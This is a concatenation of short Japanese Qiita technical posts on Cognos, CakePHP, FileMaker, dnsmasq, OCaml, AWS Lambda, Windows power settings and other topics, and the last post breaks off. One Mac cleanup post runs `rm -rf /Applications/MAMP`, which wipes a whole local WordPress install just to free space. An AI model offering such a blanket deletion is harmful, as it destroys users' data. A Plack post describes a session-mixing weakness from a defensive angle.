OmniAICreator/Qiita-1.07M huggingface dataset:
Cognos Framework Manager でデータソースが異なる表同士を結合する場合のチューニング

#Framework Managerのフィルター・タイプ設定
こんなTechnoteの存在を最近始めて気が付き、自分の興味と理解のために検証したので、自分で忘れないように投稿しておきます。
こちらの**Filter Join Optimization**です。

**IBM Analytics Proven Practices - What's New in Framework Manager 10.2.2**
http://www-01.ibm.com/support/docview.wss?uid=swg21902184

異なるデータベース上の二つの表を結合する時に、この設定が役立ちます。
![db.JPG](https://qiita-image-store.s3.amazonaws.com/0/147246/fc7e4fd5-56bf-2d15-44f2-c98e326d20ca.jpeg)

例えば、以下のモデルで、TESTデータベースのSLS_ORDER_METHOD_DIM表とGS_DBデータベースのSLS_SALES_FACT表をORDER_METHOD_KEYをキーにしてリレーションを貼り、OrderMethodSalesクエリーサブジェクトで、SLS_ORDER_METHOD_DIM表のORDER_METHOD_JAとSLS_SALES_FACT表のQUANTITYを組み合わせて参照したいケースです。
![model.JPG](https://qiita-image-store.s3.amazonaws.com/0/147246/b2c92c97-6a3b-f464-7db0-ec3709956e4b.jpeg)

OrderMethodsSalesクエリーサブジェクトを、そのままレポートのリストに置いて、ORDER_METHOD_JA='電子メール'でフィルターを掛けてレポートを実行します。
![003.JPG](https://qiita-image-store.s3.amazonaws.com/0/147246/0e36adda-b9ff-43ee-8774-8c43ee78028b.jpeg)

この時、SLS_SALES_FACT表に発行されるクエリーは以下になりました。
つまり、ORDER_METHOD_KEYが'電子メール'のデータのみをSLS_SALES_FACT表から取得して欲しいのに、全件取得しています。
全件取得後に、CognosのJVM上でSLS_ORDER_METHOD_DIMの結果(電子メールのみ)とマージして、最終結果セットを生成する動きです。
ファクト表から全件取得してしまうこの動きは、パフォーマンス上望ましく無いのは明白ですね。

```html
SELECT 
"SLS_SALES_FACT"."ORDER_METHOD_KEY", "SLS_SALES_FACT"."QUANTITY" 
FROM 
"GOSALESDW"."SLS_SALES_FACT" "SLS_SALES_FACT" 
FOR FETCH ONLY
```

次に、Framework Manager上でリレーションのプロパティで、「(DQM)フィルター・タイプ」=「時刻」にしてみます。
※マニュアル上では、「中」の選択肢と記載されているのですが、実際は「時刻」という表示になります。SQL的には、IN句の指定をする、という意味がこの設定です。
https://www.ibm.com/support/knowledgecenter/ja/SSEP7J_11.0.0/com.ibm.swg.ba.cognos.ug_fm.doc/t_dqm_join_opt.html
![001.JPG](https://qiita-image-store.s3.amazonaws.com/0/147246/3b08d4b5-40e5-3f44-0b1f-2e4ae1b9d970.jpeg)

この時、SLS_SALES_FACT表に発行されるクエリーは以下になりました。
IN句で ORDER_METHOD_KEY IN (604)していますので、必要なデータのみをファクト表から取得してくれているのがわかります。

```html
SELECT 
"SLS_SALES_FACT"."ORDER_METHOD_KEY", "SLS_SALES_FACT"."QUANTITY" 
FROM 
"GOSALESDW"."SLS_SALES_FACT" "SLS_SALES_FACT" 
WHERE 
"SLS_SALES_FACT"."ORDER_METHOD_KEY" 
IN ( 604 ) FOR FETCH ONLY
```

フィルター・タイプを「指定の値の間」にした場合、以下のクエリーが発行されます。
Betweenが使用されていますね。

```html
SELECT 
"SLS_SALES_FACT"."ORDER_METHOD_KEY", "SLS_SALES_FACT"."QUANTITY" 
FROM 
"GOSALESDW"."SLS_SALES_FACT" "SLS_SALES_FACT" 
WHERE 
"SLS_SALES_FACT"."ORDER_METHOD_KEY" 
BETWEEN 604 AND 604 FOR FETCH ONLY
```

異なるデータベース上の表を結合する時に、ファクト表から必要なデータのみを取得するようにチューニングが必要と覚えておきましょう。
cakephp3 SQL(where)でNULLのレコードを取得する

```php:NG
$this->find()->where('hoge_column' => NULL);
// (発行されるクエリ) WHERE hoge_column = NULL
```

```php:OK
$this->find()->where('hoge_column IS NULL');
// (発行されるクエリ) WHERE hoge_column IS NULL
```

```php:OK
$this->find()->where('hoge_column IS' => NULL);
// (発行されるクエリ) WHERE (hoge_column) IS NULL
```

```php:OK
$this->find()->where(function ($exp) {
        return $exp->isNull('hoge_column');
    });
// (発行されるクエリ) WHERE (hoge_column) IS NULL
```

`$this−>find()−>where('hoge_column' => NULL);` で取得出来ないのか最初は理解できなかったのですが、
<font color="Red">NULL</font>はSQL的に `WHERE カラム名 = NULL` (等号不等号)で取得することはできなくて
<font color="Red">IS NULL</font>または<font color="Red">IS NOT NULL</font> で取得することが決まりのようでした。
Mac ディスク容量のシステムが105Gになっていたので対応した

#やったこと
タイトルの通り

#解決策
```terminal
$ sudo du -g -x -d 5 /| awk '$1 >= 5{print}'
38	/Applications/MAMP/htdocs/wordpress/wp-content
38	/Applications/MAMP/htdocs/wordpress
38	/Applications/MAMP/htdocs
39	/Applications/MAMP
```
上記のコマンドですが、意味は、
duコマンドでディスクの使用量を表示
 -x 異なるファイルシステム（パーティション）にあるディレクトリをスキップ
 -d5 集計するディレクトリの深さを5に指定する

awkコマンドでテキストの加工とパターン処理
 $1 >= 5{print}で5G以上の容量があるファイル（ディレクトリ）を探索

##MAMPでWPを実装していた。こいつはキャッシュを残して実装ができるやつ

#削除
```terminal
$ rm -rf /Applications/MAMP
```
#結果
システム容量かなり空きができました。
FileMaker// API連携シリーズ　法人インフォから企業名を取得

中小企業ではどこでも同じかもしれませんが、弊社でも顧客情報は管理されていません。受注・営業などで企業情報は集まっているのに、個々人のスキルでExcelにまとめていればいいほう、というレベルです。
今回FileMakerで受注情報をまとめてきたのですが、企業名が適当すぎて再利用が難しいという問題に直面しました。少なくとも正式名称くらいは取得しておくべきだろうと思ったので、以下のカスタムAppを作りました

##サンプルの仕様
![Qiita0518-1.png](https://qiita-image-store.s3.amazonaws.com/0/181254/4aadafef-96da-672a-18e2-f8f454a7f320.png)
1.顧客検索に企業名を適当に入れて検索🔍をクリック
2.name フィールドに企業名の候補一覧を出す
3.ドロップダウンで企業名を選択すると、法人番号と住所を出力

##準備
[法人インフォ](https://hojin-info.go.jp/hojin/TopPage)でAPIを使えるように申請をします。[利用申請ページ](https://api.hojin-info.go.jp/api/api_registration/form)

##スクリプトの実装

```FileMaker:検索ボタンに実装する法人インフォ取得スクリプト
フィールド設定[name; "" ]
変数を設定[ $company; 値:GetAsURLEncoded ( #g_顧客検索 ) ]
変数を設定[ $API_Token; 値:"(API_TOKEN)" ]
変数を設定[ $content; 値:"Accept: application/json" ]
変数を設定[ $URL; 値:"https://api.hojin-info.go.jp/api/v1/hojin?name=" ]
変数を設定[ $URL; 値:$URL & $company ]
URLから挿入[ $$response; $URL; cURL オプション: "curl -X GET -H " & $content & " -H X-hojinInfo-api-token:" & $API_Token ] [ 選択; ダイアログなし ]
変数を設定[ $parseJSON; 値:JSONFormatElements ( $$response ) ]
変数を設定[ $count; 値:ValueCount ( JSONListKeys ( $parseJSON ; "hojin-infos" ) ) ]
変数を設定[ $i; 値:0 ]
Loop
   変数を設定[ $jsonName; 値:JSONGetElement ( $parseJSON ; "hojin-infos[" & $i & "].name" ) ]
   変数を設定[ $jsonNames; 値:$jsonNames & ¶ & $jsonName ]
   フィールド設定[ TNP_Master_CLIENT::name; $jsonNames ]
   変数を設定[ $i; 値:$i+1 ]
  Exit Loop If[ $i  =  $count ]
End Loop
```

```FileMaker:企業名が選択されたときにスクリプトトリガで起動する法人インフォ住所取得
変数を設定[$company; 値:GetAsURLEncoded ( TNP_Master_CLIENT::names ) ]
変数を設定[ $API_Token; 値:"(API_TOKEN)" ]
変数を設定[ $content; 値:"Accept: application/json" ]
変数を設定[ $URL; 値:"https://api.hojin-info.go.jp/api/v1/hojin?name=" ]
変数を設定[ $URL; 値:$URL & $company ]
URLから挿入[ $$response; $URL; cURL オプション: "curl -X GET -H " & $content & " -H X-hojinInfo-api-token:" & $API_Token ] [ 選択; ダイアログなし ]
変数を設定[ $parseJSON; 値:JSONFormatElements ( $$response ) ]
フィールド設定[ TNP_Master_CLIENT::location; JSONGetElement ( $parseJSON ; "hojin-infos[0].location" ) ]
フィールド設定[ TNP_Master_CLIENT::corporate_number; JSONGetElement ( $parseJSON ; "hojin-infos[0].corporate_number" ) ]
```
EIPで料金発生するパターンとしないパターン

###Elastic IP アドレス
1時間あたり $0.005 ということは、概算して 24時間で13円ちょっと、1ヶ月で400円ほど

###料金が発生しない場合

- 起動しているEC2インスタンスで、EIPを1つだけ使用している場合


###料金が発生する場合

- EIPを関連付けているEC2インスタンスが停止している場合
- EC2に関連付いていない（= 使わずに放置されている）EIP
- 関連付いているEC2は起動しているけれども、ふたつ目以降のEIPの場合
- EIPの「リマップ(remap)」を、1ヶ月に100回以上行った場合（101回目以降について $0.1）
dnsmasq を使った Android 実機向けローカルDNSサーバの構築

# 何でやろうと思ったか？
- Android実機でhostsを書き換えるのはすごく面倒
- ソースコードに手を入れることなく、APIサーバの通信を切り替えたい

# 概要
- dnsmasqを使い、Android実機向けにローカルDNSを立てる
- 対象となるドメインのみ、別途hostsに設定したサーバに向ける

# 注意事項
「ローカルドメインおよび自分の所有しているドメイン」以外で、この方法を使用してはいけません。

# 動作検証環境
- MacBook Pro (15-inch, 2017)
- macOS 10.13.4
- homebrew 
- Android Studio 3.2 Preview
- Nexus 5X(Android 8.1)

# 手順
## 1. dnsmasq をインストール
```bash
$ brew install dnsmasq
```

## 2. dnsmasq.conf を書き換える
```bash
$ sudo vi /user/local/etc/dnsmasq.conf
```

```
addn-hosts=/etc/dnsmasq.hosts  #専用hostsファイルを設定する
log-queries                    #クエリログを出力する
```

## 3. 専用の hosts ファイルに設定を書き込む
```bash
$ sudo vi /etc/dnsmasq.hosts
```

```
# test-api01.example.co.jp(192.168.10.100) を api01.example.co.jp として名前解決する
192.168.10.100 api01.example.co.jp 
```

## 4. dnsmasq を起動する
```bash
$ sudo brew services start dnsmasq
```

## 5. Android 端末のDNS設定に自分のMacのIPアドレスを設定する
※Nexus 5X(Android 8.1) での操作例です。

1. [設定]を選択する
1. [ネットワークとインターネット]を選択する
1. [Wi-Fi]を選択する
1. 使用中のWi-Fiを選択する
1. [ネットワークを変更]を選択する 
1. [詳細設定]を選択する
1. [IP設定]を[DHCP]から[静的]に変更する
1. [DNS1]に自分のMacのIPを設定する
1. [DNS2]に既存のDNSを設定する（8.8.8.8等）
jq みたいなツール

# 概要

JSON からほしいデータを取り出すときに便利なツールとして
[jq](https://stedolan.github.io/jq/) がある

`jq` のソースコードは github にある

* [stedolan/jq: Command-line JSON processor](https://github.com/stedolan/jq) 

このツールは非常に便利なので、いろいろな場面で、

```
jq みたいなツールがあったらなぁ
```

と、おもうのだが、実は結構そういうツールは存在していることがわかったので、知っているものを集めてみた。


# YAML/YML

`yq`

* [kislyuk/yq: Command-line YAML and XML processor - jq wrapper for YAML/XML documents](https://github.com/kislyuk/yq) 
* [mikefarah/yq: yq is a portable command-line YAML processor](https://github.com/mikefarah/yq)

（追記:2021-01-20編集リクエストでおしえていただきました＞mikefarha/yq。まったく記事とは関係ないですが、編集リクエストの採用がうまくできなかった。。。ので編集して採用みたいなのをしてみました。)

# HTML

HTML用のツールは、`q` でおわらないけどあった。

* [ericchiang/pup: Parsing HTML at the command line](https://github.com/ericchiang/pup) 

# XML

XMLは、`xq`

* [maiha/xq.cr: Command-line XML processor inspired by `jq`](https://github.com/maiha/xq.cr) 

# csvや標準入力をsqlで取得できるqコマンド

(追記2018年5月31日：コメント欄で紹介していただきました。ありがとうございます。)



- [csvや標準入力をsqlで取得できるqコマンド - Qiita](https://qiita.com/astrsk_hori/items/fbe61e988f526d22efc9) 

# CSVファイルをSQLの構文で扱えるツール

(追記2018年5月31日：コメント欄で紹介していただきました。ありがとうございます。)

- [textqlが超便利 - Qiita](https://qiita.com/m_kawaguchi/items/1a745266998a4d864a97) 

# コンソール上で統計情報を計算する「st」コマンド

(追記2018年5月31日)

- [nferraz/st: simple statistics from the command line](https://github.com/nferraz/st) 
- [コンソール上で統計情報を計算する「st」コマンド | 俺的備忘録 〜なんかいろいろ〜](https://orebibou.com/2016/03/%E3%82%B3%E3%83%B3%E3%82%BD%E3%83%BC%E3%83%AB%E4%B8%8A%E3%81%A7%E7%B5%B1%E8%A8%88%E6%83%85%E5%A0%B1%E3%82%92%E8%A8%88%E7%AE%97%E3%81%99%E3%82%8B%E3%80%8Cst%E3%80%8D%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89/) 

# 各OS等での対応状況

| ツール名        | Mac Homebrew    |
|:--------------|:------------------:|
| jq            ||
| q             ||
| yq            |  OK  (2019-04-17)       |
| xq            |  NG  (2019-04-17)      |
| textql        ||


# 感想

`*q` というツールは結構あるかもしれない。

そのほかのツールを探してみるときはたとえば、以下のような検索をしてみるとよいかもしれない。

* ["inspied by jq" - Google 検索](https://www.google.com/search?q=%22inspied+by+jq%22) 

# partiql

(追記2018年8月7日)

ちょっと jq とは違うが、SQLのような表現で、検索ができるツール

- [PartiQL](https://partiql.org/) 
  - 
SQL-compatible access to relational, semi-structured, and nested data.

# jtc

(追記2018年10月15日)

- [ldn\-softdev/jtc: JSON manipulation and transformation tool](https://github.com/ldn-softdev/jtc)

> jtc offers a powerful way to select one or multiple elements from a source JSON and apply various actions on the selected elements at once (wrap selected elements into a new JSON, filter in/out, update elements, insert new elements, remove, copy, move, compare, transform and swap around).
FizzBuzzを0byteで実装する

[FizzBuzzを1byteで実装する](https://qiita.com/ymg_aq/items/b8e5d26035180bc8797e)に感化されて作成しました。
[Github](https://github.com/junmoka/f0)

HelloWorldにも対応しています

## f0(0byte)
```:FizzBuzz
```

```
./f0.rb FizzBuzz
```
Bitbucket Cloudを使ってSlackと連携する方法

# SlackのBitbucketアプリが変わってた

以前は、**ビットバケット**というアプリを使って、BitbucketのwebhookでSlackに通知するようにしていました。

![JPG_昔のbitbucket.jpg](https://qiita-image-store.s3.amazonaws.com/0/54830/30a5d9a6-a1d5-4e49-879f-1456faaab126.jpeg)

久々に活用しようと思って、アプリをインストールしようとして、Appディレクトリで検索してみると、**Bitbucket Cloud**という似て非なるアプリがあるものの、**ビットバケット**は見つかりませんでした。

なんとかして探してみると、どうやら**ビットバケット**はもうすぐサポート終了し、**Bitbucket Cloud**を使ってと書いてありました。

![JPG_昔のbitbucket_20180801終了.jpg](https://qiita-image-store.s3.amazonaws.com/0/54830/6e87e0fd-b822-2a4b-153e-ecfdd83dc91b.jpeg)

早速、**Bitbucket Cloud**の情報を得ようとググってみたのですが、あまり記事にしている方がいないようで、見つかりませんでした。。。

ということで、備忘録がてら書いてみることにしました。

# インストール方法

Appディレクトリで、**bitbucket**で検索をすると、今(2018/5/18現在)は下のBitbucket Cloudが出てきます。

![JPG_今ののbitbucket.jpg](https://qiita-image-store.s3.amazonaws.com/0/54830/86fa20ab-bd5f-c5c6-eb8b-4fa687898874.jpeg)

これをinstallすると、Slackにdefaultではbitbucketという名前のBOTがjoinします。

![bitbucketさん一言目.jpg](https://qiita-image-store.s3.amazonaws.com/0/54830/54b8721b-1930-f3b8-7da6-707163d6bb28.jpeg)

# Slack側の設定

1. 連動したいchannelにbitbucketをinviteする。
2. そのchannelで/bitbucket connect repository-urlと入力して送信する。

やることはこれだけでした。
すると、こんなレスポンスがあります。

![connectした.jpg](https://qiita-image-store.s3.amazonaws.com/0/54830/abea54c3-0f9a-2f08-448a-c031ebf34787.jpeg)

**Create subscription**をクリックするとbitbucketの設定ページに飛びます。

# bitbucket側の設定

いつのまにやらCHAT NOTIFICATIONSという設定が追加されていたようですね。

1. 連動したいリポジトリのページに移動する。
2. メニューの中から**設定**を（英語の場合はsettingsを）クリックする。
3. 設定メニューの中の下の方にある**CHAT NOTIFICATIONS**の*Settings*をクリックする。
4. **Add subscription**をクリックする。
5. Slackのchannelを選択する。

![bitbucketの設定.jpg](https://qiita-image-store.s3.amazonaws.com/0/54830/d5a6bcec-e5c2-517e-e979-7d47edb5bba9.jpeg)

Slack側の設定で書いた通り、Slackから**Create subscription**をクリックでも同様のことができます。

# 通知設定の変更方法

**Enter a branch**に連動するbranchを、"Enter or select a notification type"のドロップダウンリストで何に連動するかを選んで、**Add**をクリックすると追加できます。

![bitbucketの設定_通知.jpg](https://qiita-image-store.s3.amazonaws.com/0/54830/66b676bb-1dad-8296-38f3-2ece610f23aa.jpeg)

試しにdevelopのcommits pushedを追加してみました。
こうすると、developにpushがあった時にSlackのBOTが教えてくれます。

# 参考にしたページ

AtlassianのBitbucket Cloudのページを見ながら作業しました。
https://confluence.atlassian.com/bitbucket/bitbucket-cloud-for-slack-945096776.html
OcamlをWindowsにインストールする

# 結論(追記)
これの通りにしたらできた
<blockquote class="twitter-tweet" data-partner="tweetdeck"><p lang="ja" dir="ltr">できるんかーーーい<a href="https://t.co/SP7kl74Ylb">https://t.co/SP7kl74Ylb</a></p>&mdash; ❀Ange;art❀ (@shinomiya_ag) <a href="https://twitter.com/shinomiya_ag/status/997441280949944320?ref_src=twsrc%5Etfw">May 18, 2018</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


# 概要
ocamlを仕方なしにwindowsで使おうとしたらかなり面倒くさかったので備忘録として

# 用意するもの
* cygwin
* Visual Studio 2017 (2015でも可能)

# ocamlのビルド (x64)
尚、執筆時点でのocamlのバージョンは4.06
### 適当なディレクトリにリポジトリをcloneする

```bash
git clone https://github.com/ocaml/ocaml.git
```

### `x64 Native Tools Command Prompt for VS2017`を開く
この中でminttyを起動させる
> windows なら大抵の場合 `c:\cygwin64\bin\mintty.exe`

```bash
path-to/mintty -
```

リポジトリに移動

```bash
cd <ocamlリポジトリ>
```

MSVC系のパスを通すために以下を叩く

```bash
eval $(./tools/msvs-promote-path)
```

これでlink等、諸々に対するパスが通るの

### flexdll
flexdllを用意する必要があるので
[github](https://github.com/alainfrisch/flexdll/releases)からzipなりをダウンロードし、その中身を`ocaml/flexdll`に突っ込む

flexdllディレクトリに移りobjをコンパイルする

```bash
cd flexdll
cl /nologo /MD -D_CRT_SECURE_NO_DEPRECATE /GS- /DMSVC /DMSVC64 -c /Fo"flexdll_msvc64.obj" flexdll.c
cl /nologo /MD -D_CRT_SECURE_NO_DEPRECATE /GS- /DMSVC /DMSVC64 -c /Fo"flexdll_initer_msvc64.obj" flexdll_initer.c
```

### build&install
再びocamlのトップディレクトリに戻り、[公式の手順](https://github.com/ocaml/ocaml/blob/trunk/README.win32.adoc#microsoft-visual-c-c-ports)通りにocamlをコンパイルする
> この時、ocaml関連のファイルがPATHで解決できる場合、何かしらの原因によってビルドが失敗することが多いのでPATHから外しておく

```bash
cd ..
cp config/m-nt.h byterun/caml/m.h
cp config/s-nt.h byterun/caml/s.h
cp config/Makefile.msvc64 config/Makefile
make world.opt
make install
```
これで`c:\ocamlms64`以下にocamlがインストールされる

## が、然し
vscodeでデバッグできるようにするにはmerlin,ocp-indent,果てにはその依存パッケージもビルドしないと使えない
そもそもopamが使えればいいのだがWindowsでは全くと言っていいほど使えない
> ビルドはできるがwget,curl等unixのバイナリに依存している

# 解決法
**mac使え**
[Android]SQLite3 db Export


#必要。

```xml:Manifast.xml
 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
```

#コード。

```java
public void sqliteExport(String dbName, String exportFileName) {
      
        try {
            File data = Environment.getDataDirectory();
            File sd = Environment.getExternalStorageDirectory();

            Log.e(TAG, "getDataDirectory:  - " + data.toString());
            Log.e(TAG, "getExternalStorageDirectory:  - " + sd.toString());

            if (sd.canWrite()) {
                String currentDBPath = "/data/pakagename/databases/" + dbName;
                String backupDBPath = "/app_name/data/files/" + exportFileName;
                File currentDB = new File(data, currentDBPath);
                File backupDB = new File(sd, backupDBPath);

                if (currentDB.exists()) {
                    FileChannel src = new FileInputStream(currentDB).getChannel();
                    FileChannel dst = new FileOutputStream(backupDB).getChannel();
                    dst.transferFrom(src, 0, src.size());
                    src.close();
                    dst.close();
                }
                if (backupDB.exists()) {
                    //Toast.makeText(this, "DB Export Complete!!", Toast.LENGTH_SHORT).show();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

```
LambdaのNode.js v8.10でタイムゾーンを指定してもDateがUTCになる問題

AWS LambdaのNode.jsランタイムでv8.10が公開された時に、喜び勇んでasync/awaitで書き換えて更新した時にハマった点。

# tl;dr

TZ環境変数はコード側ではなくLambdaの環境変数に設定しよう

# Dateのタイムゾーン(TZ)がUTCになる

v0.10の頃から更新してきた関数だったので、タイムゾーンを日本にするためにコードの先頭でこう書いていました。

```javascript

process.env.TZ = "Asia/Tokyo";
```

これでDateを処理する時に日本時間でうまく動いていましたが、ランタイムをv8.10にするとUTCになってしまいました。

検証するために、こんな関数を作成したところレスポンスは `1525651200000` になりました。
このunixtime(ms)は日本時間だと `2018/05/07 09:00:00` となりUTCとして扱われてしまっています。

```javascript
"use strict";
process.env.TZ = "Asia/Tokyo";

exports.handler = (event, context, callback) => {
    const time = Date.parse('2018-05-07 00:00:00');
    callback(null, time);
};
```

Lambda関数自体に環境変数を保存する機能が結構前からありますので、
そこに下記のように `TZ Asia/Tokyo`を設定してあげると、正しいunixtime `1525618800000` が得られました。

![スクリーンショット 2018-05-18 12.17.28.png](https://qiita-image-store.s3.amazonaws.com/0/1295/d4a86412-5f52-9097-03d7-6e535b631658.png)

念のため現在選択できるNode.jsランタイム 8.10, 6.10, 4.3 で上記コードで検証したところ
6.10, 4.3ではコード側の設定でも日本時間で動作しました。

| - | v8.10 | v6.10 | v4.3 |
| :--: | :--: | :--: | :--: |
| Lambda環境変数のTZ指定あり | 1525618800000 | 1525618800000 | 1525618800000 |
| Lambda環境変数のTZ指定なし | **1525651200000** (コードでの指定が効いていない) | 1525618800000 | 1525618800000 |

v6.10やv4.3の関数に設定しても問題ないので、環境変数を設定してからランタイム/コードをバージョンアップしましょう。
【Windows10】ノートパソコンのWi-Fi接続不良防止のために電源設定をコマンドで変更した話

# はじめに
Win10のノートPCを買ったところ、どうも電源に繋いでない時のWi-Fiの接続状況が悪い。
ヘルプデスクの経験があるので「あ、これは電源設定の問題だな」と検討がついて、
早速変更しようとしたんですが、設定項目が見つからない……。
どうもWin8以降は電源設定の詳細項目の一部がGUIで変更できない（製品が多い）ようです。
Win8以降はSSIDの優先順位もGUIで変更できなくなりましたし、ちょっと不便ですね……。

検索してみると対処法としてレジストリを触って設定を変更しよう、という記事が多かったんですが、
できるだけレジストリをいじるのは避けたいなと思い、コマンドプロンプトで変更しました。
意外に同じ手段での変更方法を書いてるサイトや記事がなかったので、qiitaに備忘録を残しておきます。

## 備考
Win7までは
`「電源プランの選択」＞「プラン設定の変更」＞［詳細な電源設定の変更］＞［詳細設定］＞［ワイヤレスアダプターの設定］＞［省電力モード］＞［バッテリ駆動］を［最大パフォーマンス］に` することで変更できる設定です。

# コマンドの打ち方

各PCごとに設定に使う電源設定のGUIDが異なるため、まずはそれを取得する必要があります。
*電源プラン設定＞詳細設定＞項目*　という構造で入れ子になっているのですが、この3つのGUIDを全部指定する必要があるのでそれぞれ取得します。

コマンドプロンプトを起動し、`powercfg -QH` で各種GUIDを取得します。
何百行も結果が出力されますが、まず一番上の行の「電源設定のGUID」を取得します。これが今使っている「電源プラン」のGUIDです。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/257846/8db9d8c6-d5b0-eb08-01f8-fb716d8e412d.png)
`powercfg -l` でこれだけ単体取得できるので、 `powercfg -QH` の結果が長すぎて紛らわしければこのコマンドを使ってください。

次は設定変更したい「ワイヤレスアダプターの設定」の項目を探します。
Ctrl+Fで「ワイヤレス」等で検索してください。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/257846/ccee749e-cff0-2be2-fd1d-3d8ac4761437.png)

最終的には以下のコマンドに必要な項目を当てはめます。
```powercfg -SETDCVALUEINDEX ＜最初に取得した電源プランのGUID＞ ＜画像②のサブグループのGUID＞ ＜画像③の電源設定の GUID＞ 000```
※末尾の000は「最大パフォーマンス」を指定してます。
省電力にしたい場合は001～003を必要に応じて指定

正しく設定が変更されたか確認するにはもう一度 `powercfg -QH` を実行してください。
ワイヤレスアダプターの設定の、DC電源設定のインデックスの末尾が000になってれば変更されています。

# おわりに
Macの真似をして脱TUIを図った結果、逆にGUIに載せきれなかった設定の変更手順がこれまで以上に複雑になってしまっていて、近年のWinは迷走してる印象です……別に林檎信者でもないのですが……。
PHPでAccessデータベースへODBC接続する際のプレースホルダの仕様

Accessを使い慣れている人には常識なのかもしれませんが、少々ハマったのでメモしておきます。

通常、PHPのODBCでプリペアドステートメントを使用する場合は以下のように書きます（参考：[odbc_prepare](http://php.net/manual/ja/function.odbc-prepare.php)）。

```PHP
// 公式の例の通り
$stmt    = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$success = odbc_execute($stmt, array($a, $b, $c));
```

ところが、対象データベースがAccessの場合は以下のように ? をクォートで囲まないとエラーになります。

```PHP
// ? をクォートで囲む必要がある
$stmt    = odbc_prepare($conn, "CALL myproc('?','?','?')");
```

Accessでは ? がワイルドカードとして扱われるのが原因なのでしょうか。
本来はドライバが吸収すべき点だと思うのですが・・・。
PlackではCGI::Sessionはやめておいた方がいいという話

[こんな記事](https://qiita.com/worthmine/items/987ac1e422348b9f0ea5)昔書いたんですけど、__本番環境では危険__であることが判明したので共有します。結論はタイトル通りです。

#事象
[Plack](https://metacpan.org/pod/release/MIYAGAWA/Plack-1.0047/lib/Plack.pm)の環境変数はサブルーチンの第一引数の（一般的には`my $env = shift`として取得される）ハッシュリファレンスである一方、[CGI::Session](https://metacpan.org/source/MARKSTOS/CGI-Session-4.48/lib/CGI/Session.pm)は環境変数`$ENV{REMOTE_ADDR}`をコンストラクタで参照しており、CGIではない環境下において、これは常に`undef`になり、空文字列同士で同一のホストとして判定されてしまいます。

つまり、__異なるセッションを同一として判定してしまう脆弱性__（これセッションハイジャックですよね？）を引き起こします。

#対策
- Plackの側で都度`$ENV{REMOTE_ADDR}　= $env->{REMOTE_ADDR}`などとする？（かなりの魔改造なので私は断念）
- 代わりに[Plack::Session](https://metacpan.org/pod/release/MIYAGAWA/Plack-Middleware-Session-0.30/lib/Plack/Session.pm)を使う

#まとめ
CGI::Sessionの良いところは`$session->expire('user', '+1w' );`などといったパラメーターごとに期限を設定できる点にあると思いますが、やはりまぁ、名前通り、CGIのみに使った方が無難です。
Win10 から Win7 へのダウングレード（HP Z820）

今回ダウングレードする必要があったのは、HP Z820というHPのワークステーション[^1]

前置きとしてはWin10ではWin7とけっこう権限周りだったり、UACだったりが変わっていて、
可動させてるプログラムが異なる設定をしないと動かないことが多い（というふうに聞いた）。
ので検証してる時間もないし、既存のWin10が入ってる端末をWin7にダウングレードしましょうということに。

とりあえずなにも考えずに、Win7インストールDVDを挿入し、メディアブートしたもののインストール先のディスクが見つからない。
下記の画面はそのへんで拾ってきたものだが、ここにディスクが全く表示されない状態。
![inst_1-05.jpg](https://qiita-image-store.s3.amazonaws.com/0/233514/9b68ecee-bd9d-e226-0702-fa543b13aaa6.jpeg)

BIOSで確認するもHDDは表示されているし、メディアブートしなければWin10が立ち上がってくるのでHDDが認識されてないということはない……と考えたのが後にわかる大きな間違いだった。

結論から言うと、ドライバが足りなかった。
<a href="https://support.hp.com/jp-ja/drivers">HPのサイト</a>から指定のOS、今回はwin7 64bit を選択して、
Driver packというのをごそっと落とした。たぶん必要だったのは LSI Adapter SAS2 2308 mustang と Intel(R) C600 Series Chipset SATA RAID Controller というドライバだけだったので単体で落とせるならそれでも良いかもしれない。
ちなみに購入時のドライバが入ったメディアがあるならそれを使えばいいのだろうと思う。今回のは中古で買ったあと長らく放置されていた端末だったのでなかった。つらい。

Windowsインストール画面から「ドライバーの読み込み」でLSI Adapter SAS2 2308 mustangが格納されているフォルダを選択して、
読み込ませれば、ディスクが表示された。
あとはWin10が入ってる領域をガシガシ削除して、あとは普通どおりインストールすればOK（とは思うが今まさにインストール待ちなので不具合あったら追記します）。

*追記*
不具合ありました。
いざインストールをしようとしたところ、
「新しいシステムパーティションを作成できなかったか既存のシステムパーティションが見つかりませんでした」なるメッセージが。
次の記事にします。


ちなみにドライバを読み込ませるのにUSBメモリを使う場合、USB3.0コネクタ経由にすると見れない。2.0コネクタに。CPUがIntel skylakeだとそうなるらしい。

[^1]: ワークステーションと言ったときと、サーバ機と言ったときの違いはよく分かってない。
AEスクリプト　テキストの塗りについて

#テキストレイヤーの色設定

ちょっとごちゃっとしてたのでメモ
(ついでにカラーを設定するのに便利なスクリプトも)

スクリプトでテキストを追加して色も指定する場合

```jsx
/////color HAX/////
function colorSetToRgb(set){
        var bigint = parseInt (set, 16);
        var r = (bigint >> 16) & 255;
        var g = (bigint >> 8) & 255;
        var b = bigint & 255;
        
        return [r/255,g/255,b/255];
   }


/////color settings/////
var color1 = colorSetToRgb("FFFFFF");


var myComp = app.project.items.addComp("COMP NAME",1920,1080,1.0,30,30);
var myText = myComp.layers.addText("text Here");
var myTextV = myText.property("ADBE Text Properties").property("ADBE Text Document").value;
myTextV.applyFill = true;
myTextV.fillColor = color1;
myText.property("ADBE Text Properties").property("ADBE Text Document").setValue(myTextV);
```
[WEAK SELF] & [UNOWNED SELF] & LAZY VAR

#<b>INTRODUCTION </b>

OKKK! Today We are going to discuss about [WEAK SELF] and [UNOWNED SELF]. You may wonder what are those right? Ok , let's me explain. If we talk about [weak self] and [unowned] , we will think of <b> Closure </b> and <b> Retain Cycle Problem </b>. Well , what is closure?

##<b> I. Closure </b>
Closure are self-contained blocks of functionality that can be passed around and used in your code.It can capture and store references to any constants and variables from the context in which they are defined. for more detail you can visit swift official documentation.
https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/Closures.html

##<b> II. Retain Cycle Problem </b>
